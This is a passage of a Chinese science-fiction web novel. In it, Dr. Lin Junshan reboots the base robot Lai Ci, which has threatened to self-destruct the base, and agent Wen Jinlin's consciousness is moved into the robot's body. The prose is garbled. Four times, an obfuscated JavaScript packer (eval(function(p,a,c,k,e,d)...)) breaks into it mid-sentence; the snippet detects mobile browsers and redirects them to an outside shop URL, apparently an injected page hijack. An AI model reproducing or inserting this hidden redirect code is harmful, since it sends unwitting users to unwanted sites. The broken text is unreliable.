莱慈:“……” “你的人情味儿呢?莱慈先生?” “整个基地最没有人情味的是你,”莱慈语调幽怨地反驳道,“我都休眠将近两年了,也不见你这两年内开启我的系统跟我聊聊天,你还好意思说我。” 林君山:“……” 算了,和他吵这个干什么,他的设定都还是个刚成年的小毛孩,林君山疏于照顾他,他怨气冲天倒也正常。 “我连父亲的最后一面都没见到,”莱慈瞪着她,“都怪你驳回了莱慈系统的启用申请。” 莱慈系统的创始人是她的老师,为了让莱慈核心机体的感知系统更具人性化,她的老师成为了莱慈的“生父”。 某种意义上来讲,这也是事实。 林君山沉默地望着他,过了许久,她才开口说:“分别不是什么好情绪,你的感知系统如果超载崩溃,那才是真正的得不偿失。” “你每时每刻都在提醒我,我是个机器人。”莱慈转过身正对着她,他的脸色会根据系统提供的“情绪”而变化,现在的双颊泛着红,估计是气的。 “事实就是这样,”林君山毫不犹豫地下了论断,“莱慈·伯特利斯·柯文,你是伯特利斯教授制造的人形机器人。” “你没办法变成真正的人类,莱慈,”林君山站起身,替他整理了一下衣角,“我们只希望你能快乐的长大,去感知人类最美好的情绪,就可以了。” 莱慈再没有出声,他的内心足够丰富,却总是缺少真正的“独立思考”能力。 他出生到至今为止,还没有尝试做几次智能测试。伯特利斯先生告诉他,他并不需要通过这些复杂的机器人测试,因为他的所有程序和系统都和基地融为了一体。 基地是什么样,他就是什么样。 这面镜子时时刻刻就在这里,他不需要通过机器人测试证明自己的能力。 因为基地足够强大。 “还有一件事莱慈,”林君山提醒道,“你不能够伤害温金霖。” 莱慈疑惑地回头,“你在说什么?” 温金霖差点毁了基地! “你没有听错,”林君山重复道,“温金霖需要活着进到一号连接舱。” “我不同意,”莱慈直截了当地拒绝道,“温金霖有能够毁灭基地的能力,莱慈系统不会允许这样的怪物在世,无论他是人还是机体,必须要将他毁灭。” 林君山沉静地望进他的眸子,这双和人类极其相似的眼睛,格外的亮,他棕色的瞳孔清澈透明,实验室的所有光亮似乎都被他藏进了眼底。 “温金霖是人类,莱慈,”林君山静道,“你不能伤害他。” “意识机体是否是人类早就有了定论,”莱慈反驳道,孩子气地发泄怒火,“这种永生怪物违背自然,不能留存于世,联国生物自然法容不得他,理论上来讲,他并不是人类,所以莱慈系统可以销毁他。” 林君山沉声开口:“莱慈系统的机器人虽然直接听命于你,但你的负责人是我,你需要听从我的命令。” 莱慈机器人的眼睛从人造双目变成了机器人电眼,双目闪着红色的光亮,一动不动的打在林君山身上。 他转换成紧急形态,同林君山对峙。 “林君山博士,”莱慈将指尖从控制台沿收回,指着上方的显示器说道,“因为您的疏忽,基地超过百分之三十七以上的系统被毁,其中包括急救机舱的电源系统、生产舱体的程序系统、太阳能系统以及部分引擎遭到损害。” “根据基地法第三百三十一条,管理者因玩忽职守,导致基地程序毁坏,需根据基地毁坏程度定罪处罚。”莱慈说: “依现状考虑,基地毁坏空前严重,在岗期间所有人员都将给予停职处分,包括林君山博士在内,都必须接受基地其它管理人员的审查。” 紧急形态的莱慈已然失去了“人类”的温度,他不带没有任何情绪的复述着基地现状。类人的表面和他平板无趣的声调混在一起,显得有些诡异。 基地哪里还有其它管理人员? 林君山叹了口气,应道:“省省你的电能吧莱慈。基地太阳能系统早就出问题了,没法提供多余的能量。” “恢复到安全形态,”林君山缓声命令道,“解除戒备。” 莱慈继续用平调的机器声说:“作为基地机器人最高控制权的拥有者之一,我有权使用强制措施,拘留您。” “可以了莱慈。”林君山沉着脸色,她疲惫的取下眼睛,没什么语气的补充道: “就算我放任你伤害温金霖,你也没办法彻底将他销毁,你应该比我清楚,意识机体,和普通机体不一样,他的控制能力不是直线型,比你的强,你以为我为什么答应他的要求?” “我同样拒绝,”莱慈依然处在紧急状态,丝毫没有松口,“莱慈系统和基地共存亡,如果无法将他销毁,基地会启用自毁装置,地球人别想踏进基地一步。” 居然比温金霖还要疯。 怎么个个的后路都是毁灭基地? 林君山有些无奈,她更多的是为这个心智不成熟的机器人感到头疼,当初她百般阻止老师将他设置成核 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她开始帮助伯特利斯教授完成一些机器人程序校对系统,专门利用“逻辑”和“理性”漏洞对机器人运行的程序进行检测。 现代科技的检测系统需要保证机器人程序不报废的情况下进行,也就是说,在检测过程当中,机器人不能受到损害。 但在她手里因校对系统报废的机器人数不胜数,她本以为自己的所作所为同样会引来伯特利斯教授的反感,相反的,教授却推荐她进入基地。 她的本职工作,便是利用校对系统对机器人程序进行一步步的查验,保证他们在符合机器人法则的条件下,附加额外的条件或者减弱部分法则。 莱慈系统的所有机器人都通过了校正系统,她从没有假他人之手。所以,没有人比她还要了解莱慈系统的机器人。 也没有人,比她更了解莱慈。 “莱慈,”林君山看着莱慈,“如果你执意要炸毁基地,我可能也会陪葬。” 莱慈机器人的红色电子眼睛明显的停止了晃动,他略显怔忡的望着她。 “当然,我知道你的程序会阻止你利用感情用事,毕竟你现在关闭了感知库,用较为理性的状态和我对峙。” “但有件事我要提醒你,你虽然认定温金霖不是人类,但我是。”林君山说: “你是以三法则为前提制造的机器人,你的核心任务虽然是保护跃迁程序,但你如果启用基地自毁系统,你将会葬送我的性命。” “你的程序虽然允许你在不得以的情况下伤害人类,”林君山语调沉静,“但决不允许你处死人类。” 5. 林君山 莱慈机器人的机身明显的呆滞了一瞬,他似乎成功被林君山绕进了“电车难题”,显然,他的程序虽然被做出了更改,但也只是更改了任务内容,核心法则绝对不允许他违背。 林君山的提醒将他带进了一个灰色地带:人类整体利益和人类个体生命之间的取舍。 莱慈并不知道这个问题的答案,因为他所进行过校队检测,永远都在考虑一个问题: 怎么在不伤害人类的前提下保护基地? “好了,”林君山没有再试图用类似的悖论控制莱慈,“我知道你不喜欢玩儿这样的游戏,我也不喜欢,闹完脾气了就换回安全模式,解除戒备。” “你的问题为什么这么刁钻?”莱慈机器人的眼睛渐渐恢复了人形双目,棕色的瞳孔逐步取代红色电子眼,“我不明白,护住温金霖对你有什么好处?” “在你看到温金霖的时候,我就检测到你的情绪不对,”莱慈继续愤愤不平地说,“你为什么这么在意他?难道就因为他曾经是你的学生吗?” 莱慈不信。虽然莱慈对她在军事大学担任助教时的记忆为零,但他不相信林君山是个会因为“师生情谊”这么简单又蹩脚的理由而护着温金霖的人。 “莱慈,”林君山没有回答他的问题,“你的程序被更改过,什么时候的事?” 莱慈眨了眨眼睛,疑惑地问她:“你在说什么?我的程序根本没有被更改,从始至终我都是为了守护基地而存在。” 林君山满腹困惑。就在几分钟前,莱慈在紧急模式下告诉她,他的核心任务是守护跃迁程序。 “跃迁程序呢?”林君山继续询问。 莱慈歪了一下脑袋,装出一头水雾的样子问道:“这不是你要守护的东西吗?我除了守护基地,还得帮助你护住跃迁程序,防止跃迁程序落入地球人手里。” “必要时可以采取过激措施,”莱慈说,“你当初不也想过炸毁基地吗?” 林君山依然不解。“这是谁给你的指令?” “你啊。”莱慈回答。 我? 林君山:“?” “你的大脑连着我的数据端,”莱慈说,“你的想法和目的都会灌输到我的算法里。” 不对。 即使是灌输式的思想,只要算法没有得到新的执行指令,那机器人数据端就绝不会将连接者的“目的”当成指令。 除非连接者明确表示执行该思想当中的某个指令。 那可能还有一种解释。 “你的意思是,是我的情绪影响了你?” “我没明白你的意思,”莱慈说,“不过教授提起过,连接期间,我的感知能力会比平常更敏感。” 莱慈好像没有明白林君山的意思。 林君山问:“没有人整改你的程序?” 莱慈似乎是感觉到了林君山的不安,为了让她安心,便诚恳地答道:“没有人能整改我的程序,除了伯特利斯教授,还有你。” 看样子也问不出什么来。 林君山干脆换了个问题。 林君山问:“你为什么拒绝我查阅你的日志?” 莱慈缩回视线,窘态尽显,不自然地说:“不是你把最高管理员的权限交给了爱芙莲吗……你当然看不到了……” 林君山:“……” “莱慈先生,”林君山愠怒地说道,“到底是我交给的爱芙莲还是你趁着我休整的时候偷跑出去找的她,联合起来转走了权限?” 林君山稍微松了一口气,如果管理员权限在爱芙莲手里,那莱慈拒绝她查阅日志,还算正常。唯一不太正常的,便是莱慈对核心任务的认知,也许是爱芙莲替他解答时,误导了他,又或者,是伯特利斯教授临走时,做出的更改。 其他可能性林君山已经没有时间查证了,先解燃眉之急才是最重要的。 无论哪一种,林君山暂且都有办法控制莱慈机器人,哪怕只是暂时的,但也够用了。 如果要再次更改他的程序,还得需要爱芙莲。不过爱芙莲已经从基地被强行召回了地球,和其余留在基地的工作人员一样,他们大概率都已经进入了联国的监狱系统,运气好一些的研究员,应该还在和己方律师利用“人权”打官司。 运气不好的工作人员……就说不准了。 “你说过你会给她的……”莱慈言辞闪烁,始终不敢看她的眼睛,连着语气都有些心虚,“反正早晚我都要和她一起回家的。” 林君山有些无奈地开口:“我并不阻止你谈恋爱莱慈,但不是现在,现在你还有更重要的任务,帮我修复基地系统。” 莱慈抬头,不满地开口说: “我真不想替你收拾这烂摊子,我甚至可以以基地的名义向联国最高法院起诉你,基地成立初期就已经是合法的政体组织了,它的国际地位早就超过了空间站。” 林君山不想和他斗嘴,命令道:“趁你还没死机,修复好太阳能系统,这样你才有力气继续问罪,不然还没说几句话,你估计就要关机了。” 莱慈气鼓鼓地看着她:“我讨厌你。” “我也不指望你喜欢我,”林君山催道,“快点。” 莱慈的价值程序并没有达到非常完备的状态,基地研究员也都认为莱慈不应该学习一些真正的语气词,为了避免他启用学习功能了解类似的骂街陋习,研究员们通常都不会在莱慈面前抱怨。 所以他目前不能像真正的人类一样骂骂咧咧,只能憋屈的瞪着林君山,老老实实地走到操作台前修复程序。 显示器的亮度渐渐被提高,实验室的光线也逐渐回复到基地原有的状态,林君山看着显示器上的修复程序进度,接近80%。 林君山抬脚离开了操作台,走到实验室仓库提取了电池机电脑,电脑电池是老式的锂电池,形状也和上一世纪的电脑大差不差,和蓝光显示器不同,图像只能映出在一面黑色的屏幕。 这是莱慈的控制器之一,她和伯特利斯教授,通常都是用这一台电脑对他进行编码,只不过许久没用了,一直搁在仓库。 林君山打开这个老古董,在电脑界面点开编程软件,指尖在键盘上不紧不慢地移动,写下一整串程序编码,界面弹出“确定”“取消”选择框,她沉默地望了一眼莱慈的背影,视线上移,淡淡的落在显示器上方的进度条。 99%…… 红色的线框进度条上方只有三个字:修复中。 林君山静静的盯着屏幕。 100%。 下一秒,林君山按下了“确定”。 “叮——”实验室的光线彻底恢复为原状,四方的蓝光显示器逐一亮起,监视系统在第一面显示器成功运行,但她并没有发现温金霖的身影。 “修复成功。”显示器的机械音突兀的砸在实验室中央,“欢迎您使用基地Z系统。” “你在做什么?”莱慈一脸惊愕的回头,“你为什么切断我的数据端和你大脑的联系?” 莱慈机器人满腹疑惑,他视线缓缓下移,在林君山手里发现了控制器。 “莱慈,”林君山的眸子泛着冷,声音沉静,“我需要你冷静。” 莱慈一秒钟都镇定不了。 从他出生开始,他接触的世界都是通过林君山。 他没有独立的机器人脑,处理数据的数据端在平常交流时勉强能充当机器人脑,他的感知能力通常是借助林君山的前额叶,利用数据模拟她的反应并记录,再会根据记录内容运用到现实情景中。 如果林君山切断联系,那莱慈的感知力会大大减弱,大多数情况下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315401|198947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会妨碍他和人类交流,在交流过程中无法准确定位“记录”内容,可能会出现程序崩溃的现象。 所以基地研究员很少在林君山不在的情况下和莱慈交流,除了爱芙莲。 “你在开什么玩笑?”莱慈怒吼,“你到底在干什么?!” “莱慈,”林君山深深呼出一口气,“我不太想强制关机你,所以我需要你配合。” “我配合什么?!”莱慈气得冲过去将她怀里的控制器夺了过来,死死攥在怀里,“我做错什么了我需要关机?你不能这么对待我!” “如果是刚才在紧急状态下让你不舒服了,”莱慈说,“我可以道歉,但我说得都是事实!” “我不是睚眦必报的人莱慈,”林君山看着他,“我相信你比谁都清楚。” 莱慈感应到数据端的部分数据正在流失,他茫然无措的抬眸,“你在消除我的记忆?” 下一秒,莱慈慌乱的大喊,“我不允许!你不能这么做!林君山!” 莱慈低吼着打开控制器,却发现他根本没有权限密钥,连第一道防火墙都跨不过去,他从指尖抠出一枚黑色的条状物,塞进USB接口,试图强硬的入侵控制器系统。 机器人没有感情,但莱慈有。 机器人没有情感记忆,但莱慈有。 这些都是莱慈最宝贵的东西,他不能眼睁睁看着他们消失。 “别紧张莱慈,”林君山蹲下来制住了他的动作,“你的情感记忆不会有任何问题,你不会忘记爱芙莲,也不会忘记我。” 莱慈浑身打着细颤,他在模拟人类情绪这一方面,极具天赋。 “我只是在备份你的记忆,”林君山说,“你需要关机莱慈,爱芙莲已经被带回了地球,我并不清楚他们知不知道爱芙莲是你的最高管理员。” 为了基地和跃迁程序的安全,林君山也不敢打这个赌。 “我希望你能理解我,”林君山语重心长地说,“你可以的对吗莱慈?” 莱慈并没有被她这一番话说服,相反的,他更加畏惧林君山这个名字。 “你在说谎!”莱慈的眼眸布满了丝状的血丝,他一向能将人类类似的反应收入感知库,运用自如。 “数据端已经没有多少记忆了!林君山!”莱慈惊惧的抬眸,“你到底想干什么?!” “对不起。”林君山说。 她无意让莱慈这么惊慌失措。 “我答应你,”林君山尽量温和地开口,学着莱慈安慰人的模样宽慰他,“你很快就会醒过来,你不会忘记任何情感联系,我向你保证。” “我不要!”莱慈抗拒地后退,语调满是畏惧,“我不要!” “我不会让你进入休眠状态,”林君山没有理会他的大喊大闹继续说,“你只需要重启就好了,用不了多少时间。” 假的! 假的! 莱慈不信! 他是机器人,重启系统意味着他将会忘记在此之前发生的所有事,林君山的承诺虽然一向都靠谱,但是莱慈这次却丝毫不敢相信她。 五年过去了,莱慈看着她从一个不谙世事的研究员变成了深谙阴谋的政治家,他不敢确信林君山在这个偏僻的基地守了五年,被联国折磨了五年,还剩多少“纯真”。 “我向你保证。”林君山似乎是看出了他的重重疑虑,他们相依为伴这么久,对彼此的反应,太熟悉了。 “我需要你莱慈,我很需要你。”林君山没有冲他发火,甚至没有说教,她用最平淡地语气砸下千斤重的话语。 莱慈机器人没有压下任何的惊惧之感,他脸色比哭了还难看,眸子已经起了一层水雾。 “我讨厌你!” “我讨厌你!” “整个基地!我最讨厌你!” 6. 遗言 莱慈闭上了双眼,身体在一阵死寂里折叠,不过几秒,他变成了圆形的台桌机器人,没入操作台背后的休眠仓。 林君山沉默地望着这一幕,心头轻轻打了几次颤,实验室好像还回荡着莱慈的嘶吼:“我讨厌你!” 林君山闭上眼,静等着这些控诉通过回声散播出去,只是可惜,实验室并不空荡,这些声音就只能在这里落下烙印。 林君山缓缓站起身,身后的实验室门被几阵高压电流攻击,密码器失灵,实验室舱门缓缓打开,实验室的光线晃了晃,才勉强稳住。 林君山借着光望过去,看见了穿着一身便衣的温金霖,他腰上挂着现代最高级的激光手枪,暗黑色枪柄上刻有简单的“W”,字体样式不像是厂舱刻出来的,倒像是自己刻上去的。 温金霖眉目清秀,笑脸盈盈,实验室的冷光打在他身上,将他的影子拉的很长。“您好啊,博士。” “毫发无损的穿过基地机器人群,温警官很有能力。”林君山不慌不忙地离开了位置,走到操作台前的人体工学椅上坐下,椅子根据她的体型重新找到了合适的角度,校正靠背的弯曲程度。 林君山小心摸出隐藏在椅子的激光枪,不动声色地握紧了枪柄。 “哪里哪里,还是废了些心神的。”温金霖虽然最说着谦虚的话,面上却摆着一副洋洋得意的脸色,毫不客气地跟在她身后走进了实验室。 林君山察觉出他已经开启了双电子程序,现阶段的温金霖屏蔽了联国终端,以个人意识形态同她说话。 “倒是博士,”温金霖随便扫了一眼实验室四周,周围的光电系统显然恢复了正常,“短时间内就修复好了基地系统,不愧是基地最好的程序员。” 林君山暂且替莱慈收下了这句恭维,她抬眸提醒说: “别再往前走了温警官,实验室可能遗留了一些我同事跃迁前置下的机关,别不小心踩到了,出了事,我可负不起责任。” 温金霖莞尔一笑,脚步顿在了原地,“我知道,博士并不希望我出事。” “当然,”温金霖眯眼笑着,“我也不希望博士出事,所以烦请博士交出手里的激光枪,我们坦诚地面对彼此,怎么样?” 林君山冷眼瞧着他:“坦诚?温警官怎么谈起坦诚这两个字了?毕竟你告诉我的名字都是假的。” 温金霖挑了挑眉,他太欣赏这样的林君山了,冷硬沉静还带着些许学者的威严。 和那帮满口仁义道德的老学究不一样,林君山从始至终都是这个模样。 “博士,”温金霖笑道,“我想我的名字应该不会成为我们合作的阻碍。” “如果合作愉快,”温金霖说,“您一定是第一个知道我姓甚名谁的人。” 林君山坦白地说:“对我来讲你是谁不重要,我对你没什么兴趣,我握着枪,只是为了防止你出尔反尔。” 温金霖态度释然,他耸了耸肩,随意地道:“那您请便。” “你应该猜到我要做什么了。”林君山说,“如果你没猜到,这一路你会带着拥有你意识的多个机器人来给我施加压力。” 温金霖的眸子弯得像个月牙,“我还以为博士又要试探我呢。” “没那个必要,”林君山说,“你的机体前身都是基地的产物,就算是机器人系统要把你当成入侵武器来销毁,我也不会同意。” “那我该庆幸我是由博士制造的?”温金霖问,“所以博士对我有感情?” “对你的机体有感情,”林君山纠正道,“不是你。” “那好吧,”温金霖的眼底闪过一丝遗憾,“怎么说我也是活下来了,不仅仅是因为您是造物者,还因为您需要我。” 林君山不太喜欢聪明的人,也许五年前她会愿意和这样的人打交道,但是现如今,她更倾向于和这样的人分道扬镳。 聪明的人心眼太多,林君山不仅受到了一次背叛。 如果被人看清了目的,摸透了心思,那林君山会显得过分被动,哪怕这人表面上看起来“人畜无害”,但背地里是什么样,林君山无从得知。 “我不太喜欢和你聊天温警官。”林君山避开他的视线。 温金霖明知故问:“为什么?” 林君山撩起眼皮,沉默地看了他一眼。 “我知道了,”温金霖笑着自问自答,“没有艺术家会喜欢聪明的缪斯。” 林君山:“……” “好了温警官,”林君山深呼了一口气,“在这之前,我需要知道你是否还有家人在地球?” 温金霖静静地看了一会儿林君山,似乎在想该怎么回答这个问题。 林君山看出他眼底的犹豫,问道:“看来温警官已经有了家室?” 温金霖的眸子又含起了笑,摇摇头应道:“博士,联国刑警一般都是成家的男人,鹰族其实也不例外,但这个家室,是真的是假的,没有人清楚。” 鹰族的性质是整个联国机构的卧底。 他们分布在世界各地,有的可能是路边摊上不起眼的小贩,有的可能就像温金霖这样神出鬼没。 他们无所不在,无所不知。他们很多人都被赋予了某种身份,为了维持这样的身份,他们需要同周围产生社会联系,其中可能就包含了目前联国大力支持的婚姻关系。 “看来温警官英年早婚,”林君山淡然地说,“如果你因公殉职,你的爱人和家人,会受到联国的保护吗?” 温金霖眸底的笑容变得更深,他比较不喜欢回答这样私人的问题,但如果提问者变成了林君山,他倒巴不得告诉她所有。 “让博士失望了,”温金霖笑说,“我没有妻子,家里只有一位年老的母亲,地球时间七月二十三号,也就是48小时之前,离开了人世。按理说我现在还在服丧期。” “可时间紧任务重,”温金霖收了笑容,“我只能提前安葬老人家。” 林君山沉默地看着他。实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315402|198947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 验室操作台背后的休眠仓发出些声响,在寂静的实验室显得有些突兀。 林君山收回视线,循着似齿轮碰撞的声音看过去,看见莱慈的银白色休眠舱。舱口上方的长细条状颜色面板,渐渐由蓝色变成了深红。长方形舱体正面多出一个淡蓝色的显示屏,闪过“更新完成”四个字,便消失。 再不出两分钟,莱慈机器人会重新醒过来。林君山收回视线,举起手里的激光枪,沉静地问:“你能承受的破坏程度是几?” 温金霖不慌不慌,他一点都不觉得意外,或者说他早就料到林君山会这么做。 不过他有些不满于林君山这样的提问。要知道,作为人,激光枪发射激光的那一刻,他会因为无法承受武器伤害而牺牲。只有作为机体,他才能抵挡激光武器的伤害。 林君山再次下意识将他认成了机体。 温金霖没有多说,只笑着应道:“如果博士手里的激光枪是常用于防身的AM3系列,只要距离够近,那机体会有贯穿性破损。” “机体受伤后,”林君山问,“你的意识也会随着消失吗?” “理论上来讲,是这样的,不过还没有人试过。”温金霖也掏出了挂在腰侧的手枪,他的手枪和林君山的AM3型号不同,是专用的短径狙击枪。 刑警配备的手枪大部分都比较重,唯一趁手一点的小型手枪,又没什么准度,所以鹰族在成立初期就申请了制造短径轻狙击枪,枪体铺了一层薄薄的碳纤维复合材料,代替了原先用铬、铁、钢等材料镀金,型号为CH-1。 鹰族以刺杀、卧底活动为基础,所以短径狙击枪依然不太能够满足他们的工作需求,因此他们又对短径狙击枪进行了改造。利用碳纤维的折叠性,将常用的狙击枪折叠成短径,必要时可以进行模式转换,型号为CH-3。 他手里握着的是型号为CH-3的短径狙击枪,在没有转换模式前,外表和普通的手枪没有多少差别,除了枪体稍微长出3cm-5cm、在进行射击时多了一个电子瞄准镜。 “我应该不会死。”温金霖懒懒地举起枪对着林君山,枪口上方显出一个只有温金霖能够看清的小型电子瞄准镜,他眯起半只眼睛,说道: “意识是不会消失的,我的大部分意识在联国电脑终端,如果站在您面前的温金霖死了,那未来有一天,可能会出现另一个和现在完全不一样的温金霖,可能那个时候,温金霖都不叫温金霖。” “你居然愿意把命交到一个才见不到几个小时的人手里。”林君山的指尖轻轻搭在扳机。 “我喜欢冒险博士,”温金霖歪着脑袋,透过电子瞄准镜,静静地看着林君山的眼睛,“如果失败了,我毫无怨言。” 操作台旁边的休眠仓彻底打开,莱慈以台桌机器人的形式苏醒,通过操作台左侧的升降平台,爬上了操作台。 “开枪。”林君山回头站起来,向前走了几步,重复道: “现在,开枪。” 7. 机器人基地 “砰——” 一声枪响之后,林君山亲眼瞧见身前的身影向后倒去。意料之外,温金霖射向她的那一枪偏离了弹道,没有射中林君山。 激光枪的能量密度太高,与机体碰撞产生的冲击力太大,温金霖的机体深深嵌进身后的墙壁。激光射出去的那条直线正中机体左胸口,留下一个明显的缺口。 林君山的心跳加快,她攥紧手中的枪柄,看向身后控制台上的台桌机器人。 她压着狂跳不止的心脏,犹犹豫豫地轻声开口唤了一声“莱慈”。 没有回应。 控制室里一片死寂。 林君山握着枪柄的指尖颤了颤,又重新出声,唤道:“温金霖。” 依然没有回应。 连方才台桌机器人从休眠仓出来时响起的齿轮相撞声都消失得无影无踪。 失败了吗? 林君山备份了莱慈的记忆,帮助温金霖去控制莱慈的机身,从而让温金霖的意识脱离那副厚重又完美的机体。 温金霖作为意识机体,控制像莱慈这样的智能机器人并不成问题。可刚才温金霖也提起过,从没有人实践过。 意识机体之所以能永生,很大概率都取决于意识与机体的融合度。只有两者达到一定的契合,才能长久且稳定的生存下去。 如果两者无法匹配,或产生排异反应,则会有意识消散的可能。 像温金霖提到过的情况,比较特殊,只存在于像他一样有能力将意识一分为二或者多部分的人身上。 所以用这种简单又粗暴的方式太过冒险。 林君山闭上双眼,深深吐出一口气,失败的可能性她不是没有考虑过,只是没想到失败得这么干脆。 开枪的那一刻,温金霖已经关闭了双电子程序,也就是说,再不过多久,联国就会发现他们首派的刑警惨遭杀害,到时林君山的罪名又要添一项了。 林君山回眸,视线越过实验室忽明忽暗的光线,落在温金霖那副机体身上。 像温金霖这样能几秒钟内就猜出她所思所想的人,不多。 林君山抬脚走了几步,接近机体后缓缓蹲下,身上的白袍盖住了机体手臂的一角,她伸手去碰了碰温金霖额前的碎发,他头发末梢干燥得分了叉,一看就是疏于打理。 机体的毛发和人类的毛发相似,但质地会有些许不同。为了让机器人变得像人类,基地使用碳元素对机器人毛发进行了一定的改良和增殖,可增殖毛发的过程当中,大部分培养皿都出现发根断裂的情形。 研究发现,人工毛发经历了超过一千零八十次的反复使用增殖,会导致病变,从而影响发根生长。此后,为研究进展顺利,基地研究员都贡献了自己的毛发,有过一段较为屈辱的“光头”时期。 有些研究员故意将毛发藏在带有特定代码的机器人身上,以此标记这个机器人,让其在某种程度上成为了自己的财产,刻下了某种烙印。 林君山想试着找一找温金霖身上属于同伴的痕迹,却一无所获。 林君山失望的垂下手,忽的听见身后不远处的台桌机器人又发出了些许声响,不过和刚才的齿轮磨合声不同,这次是略微刺耳的电流声。 林君山回眸,眼睛微微睁大,她目不转睛的看着台桌机器人从折叠形态逐步开展四肢,最后变成人形。 机器人没有率先开口表明身份,林君山的期待再次落了空,她收回视线将手抬到温金霖眉骨间,替他合上了眼。 机体的皮肤不会过多的衰弱迹象,即使意识消亡,机体表皮仍然保持着活性。不像尸体,会在一定时间内松软硬化。机体的皮肤组织不容易被分解,还需要人工处理。 林君山安静地盯了几秒那张皮肤紧致的脸,心想怎么把这副机体销毁,却在无意间瞧见左眉末端有颗不太明显的痣,被他的眉毛遮得严实,不近距离观察,很难发现。 “博士,您喜欢这张脸吗?” 温金霖漫不经心的声音突然砸了过来,和之前那个笑脸盈盈的样子一模一样,说话的语调像是在吟唱。 林君山心头一震,回眸怔愣地看向站在控制台前的人形机器人,看见他那副吊儿郎当的模样,眼底立马燃起些许怒意: “既然控制成功了,为什么不开口?” 温金霖笑得咧嘴:“博士看着我的脸看得出神,我不太忍心。” “又不是你的脸。”林君山怼道。 谁知道这是不是阿里求从哪里随便下载的扫描件。 “嗯,”温金霖中肯地点点头,“确实,这张脸没我的好看。” 林君山:“……” “不要生气,”温金霖眯起眼睛,单手托着腮,慢条斯理地补充说,“总的来说,现在已经成功了一半。” “在没有进入控制室之前,我都在怀疑联国给我的资料是不是有误,”温金霖走到机体身边,蹲下来仔细瞧了片刻,继续转移话题,“因为我没有在控制室见到联国口中的基地核心机体。” “我还以为它也是博士用的障眼法呢。”温金霖笑着看向还蹲在机体身侧的林君山。 林君山本来想再次纠正“基地没有控制室”,可看着面前这张才18岁的青涩面孔,用将近30岁的声音说话,还离得她这么近,把原先想说的话都吞了回去。 林君山皱起眉头和他拉远了距离,她想把人拽到三号舱重新整理一番形象,甚至都想用最原始的方式,直接拿把剪刀把他的头发剪短。 可莱慈要是发现了,会造反的。 莱慈最厌烦林君山说他外形,从不愿意剪个清爽干练一点的短发,非要学着地球青年的模样剪成最潮流的模式。 今天莱慈是没来得及,否则解决了温金霖后的下一件事,就是跑进五号生产舱,利用舱体的监视器去看一眼最近流行的发型,便会带着他手下的几个机器人窝进三号舱“追求时髦”。 林君山忍了忍。 “怎么了博士?”温金霖又不知死活的凑了过来,“博士是喜欢这样的脸吗?” 林君山满脸问号。 现在终止合作来得及吗? 这个人怎么干什么都没个正行? “我以为博士就是喜欢眉目清秀那一类的呢,”温金霖见她的反应,不慌不忙的指了指身边的机体,“毕竟这张脸也差不多一个样。” 林君山深吸了一口气。 “没有。”林君山站起来,居高临下地看着他,一脸嫌弃地补充道:“单纯看你不顺眼。” 温金霖听得一愣,随即弯起眼睛笑了起来,望着她的背影没入控制台后,舱体连接处的电子门,都没有站起来跟着林君山,反而在她身后懒懒地出声: “博士,这副机体太小了——” “忍着。”林君山不惯着他。 温金霖听她回应了,干脆就坐在原地继续冲门那一头高喊:“基地核心机体就没有一点的防御性能吗——?” “这细胳膊细腿儿的,一秒就能被抡走。” “温警官,”林君山从门后探出半个身子,她的半张脸被埋在黑暗下,显得阴郁,“不要随意侵入莱慈的系统。” 温金霖听得出她声音里警告的意味,样子是比刚才收敛了一些,却还是在红线边缘徘徊: “原来它叫莱慈吗?联国一律认为基地核心机体是一种机器人型超核武器,地球机器人研究部对它的猜测更是神乎其乎,可我现在怎么觉着它不像个机器人。” “温警官。”林君山从门后走了出来,面色沉静,再次警告道:“我不想再重复一遍。” 温 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315403|198947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 金霖站起来举起双手,缓缓走向林君山,一边又装作不经意地开口说道:“博士,他身上又没有跃迁程序,您这么防着我做什么?” 林君山的视线沉沉地打在他的脸上,一字一顿道:“如果你打算做双面间谍,我不欢迎你。” 温金霖笑脸盈盈地望着她,青涩的脸庞显得这份笑容太过纯粹,可她却一分都不信。 “您放心,”温金霖放下双手,离她一米远停下脚步,说道,“温金霖一向说话算话。” 林君山依然警惕地看着他,防着温金霖这样亦正亦邪,立场不坚定还总是试探林君山红线的人在身边,就像定时炸药。 